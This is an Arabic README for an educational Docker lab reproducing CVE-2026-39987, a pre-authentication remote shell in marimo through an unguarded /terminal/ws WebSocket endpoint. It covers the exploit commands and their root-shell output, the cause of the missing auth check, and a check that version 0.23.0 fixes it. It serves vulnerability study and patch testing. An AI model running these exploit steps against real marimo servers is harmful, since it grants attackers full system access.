
# مختبر Docker تعليمي يوضح CVE-2026-39987، ثغرة تنفيذ أوامر عن بُعد (RCE) قبل المصادقة عبر تجاوز مصادقة WebSocket في marimo، مع سكربت استغلال وخطوات التحقق من التصحيح.
تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة عبر تجاوز مصادقة WebSocket الطرفية
مختبر Docker تعليمي لفهم وإعادة إنتاج وإصلاح هذه الثغرة الحرجة في marimo.
| الهدف | marimo <= 0.20.4 يعمل في وضع edit مع تفعيل مصادقة الرمز المميز |
| المهاجم | أي مضيف يحتوي على Python 3 و websocket-client |
| الهدف | الحصول على قشرة جذر تفاعلية عبر /terminal/ws بدون تقديم رمز مصادقة |
| النوع | تجاوز مصادقة ← تنفيذ تعليمات برمجية عن بُعد (RCE) |
| التصحيح | marimo >= 0.23.0 |
⚠️ للاستخدام الأخلاقي فقط: صُمم هذا المختبر للباحثين في الأمن السيبراني والمطورين والطلاب لفهم كيفية حدوث ثغرات تجاوز المصادقة وكيفية إصلاحها بشكل صحيح. شغّله فقط في بيئات معزولة.
┌─────────────────────────────────────────────────────────────┐
│ شبكة Docker │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (الهدف) │ │ (المهاجم) │ │
│ │ المنفذ: 2718 │ │ Python 3.12 │ │
│ │ المصادقة: رمز │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
الملفات في هذا المختبر:
| الملف | الغرض |
|---|---|
Dockerfile.target | يبني خادم marimo الضعيف |
docker-compose.yml | ينسق حاويات الهدف والمهاجم |
# استنساخ المستودع
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# بدء المختبر
docker-compose up --build -d
# تشغيل الاستغلال
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# الحصول على قشرة تفاعلية
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# أنشئ دليل عمل وضع هذه الملفات بداخله:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# بناء وبدء الهدف
docker-compose up --build -d
# تحقق من أن الهدف يعمل
docker ps
# يجب أن ترى: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
ماذا يحدث:
0.20.4 (الإصدار الضعيف)edit مع تفعيل مصادقة --token بشكل صريح2718 لمضيفكقبل الاستغلال، دعنا نتحقق من أن الهدف محمي بشكل صحيح على نقاط النهاية المشروعة:
# حاول فتح الواجهة الرئيسية في متصفح أو عبر curl
curl -s http://127.0.0.1:2718/
# المتوقع: إعادة توجيه إلى صفحة تسجيل الدخول أو 401/403 (الرمز مطلوب)
# جرب WebSocket الرئيسي (/ws) بدون رمز
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# المتوقع: رفض الاتصال أو إغلاقه فورًا بسبب غياب المصادقة
ملاحظة رئيسية: نقاط نهاية التطبيق الرئيسية تفرض المصادقة بشكل صحيح. تكمن الثغرة في نقطة نهاية ثانوية تم إغفالها.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
المخرجات المتوقعة:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
ستحصل على موجه $ حيث يمكنك تشغيل أوامر نظام عشوائية:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
توجد الثغرة بسبب فحص مصادقة غير متسق عبر نقاط نهاية WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Middleware المصادقة (Starlette) │
│ ├── يعلّم الاتصالات غير المصادق عليها كـ "UnauthenticatedUser" │
│ └── لا يغلق اتصالات WebSocket تلقائيًا │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (الرئيسي) │ │ /terminal/ws │
│ │ │ (الطرفية) │
│ ✓ validate_auth()│ │ ✗ لا يوجد فحص مصادقة │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ يرفض غير المصادق │ │ ✓ يقبل فورًا │
└──────────────────┘ └──────────────────┘
Middleware المصادقة (Starlette AuthenticationMiddleware) يعلّم الاتصالات غير المصادق عليها كـ UnauthenticatedUser لكنه لا يغلق اتصالات WebSocket تلقائيًا.
نقاط النهاية الصحيحة (مثل /ws) تستدعي validate_auth() أو تستخدم @requires("edit")، وترفض العملاء غير المصادق عليهم.
نقطة النهاية الضعيفة (/terminal/ws) تتحقق فقط من:
SessionMode.EDIT — يضمن أن الخادم في وضع التحريرsupports_terminal() — يضمن توفر ميزة الطرفيةawait websocket.accept() بدون أي فحص مصادقة.التأثير: pty.fork() يطلق قشرة PTY كاملة تعمل كمستخدم الخادم (الجذر في صورة Docker الافتراضية)، مما يمنح المهاجم وصولًا كاملًا للنظام.
يضيف التصحيح التحقق المناسب من المصادقة إلى نقطة نهاية /terminal/ws، مما يضمن مطابقتها للموقف الأمني لنقاط النهاية الأخرى.
قم بترقية الهدف إلى الإصدار المُصحح وأعد تشغيل الاستغلال لتأكيد الإصلاح:
# عدّل Dockerfile.target: غيّر marimo==0.20.4 إلى marimo==0.23.0
# أو استخدم: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# حاول تشغيل الاستغلال مرة أخرى
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
المتوقع بعد التصحيح:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
يتم الآن رفض/إغلاق الاتصال فورًا؛ لا يتم الحصول على أي قشرة. ✅
# إيقاف وإزالة الحاويات
docker-compose down -v
# إزالة الصورة المبنية
docker rmi cve-lab_target
# تنظيف أي صور عالقة
docker image prune -f
أُنشئ لأغراض تعليمية. استخدمه بمسؤولية. 🔒
exploit.py |
| سكربت استغلال PoC (أمر واحد + وضع تفاعلي) |
LAB_GUIDE.md | هذا الدليل |
| المشكلة | الحل |
|---|
Connection refused | تأكد من أن الحاوية تعمل: docker ps وتحقق من السجلات باستخدام docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | ثبّت العميل: pip install websocket-client |
| لا توجد مخرجات من الاستغلال | زد المهلة: python exploit.py ... --timeout 20 |
| تخرج الحاوية فورًا | تحقق من صيغة Dockerfile وتأكد من إنشاء دفتر test.py بشكل صحيح |
| رفض الإذن | تأكد من أن خادم Docker يعمل وأن لديك الأذونات المناسبة |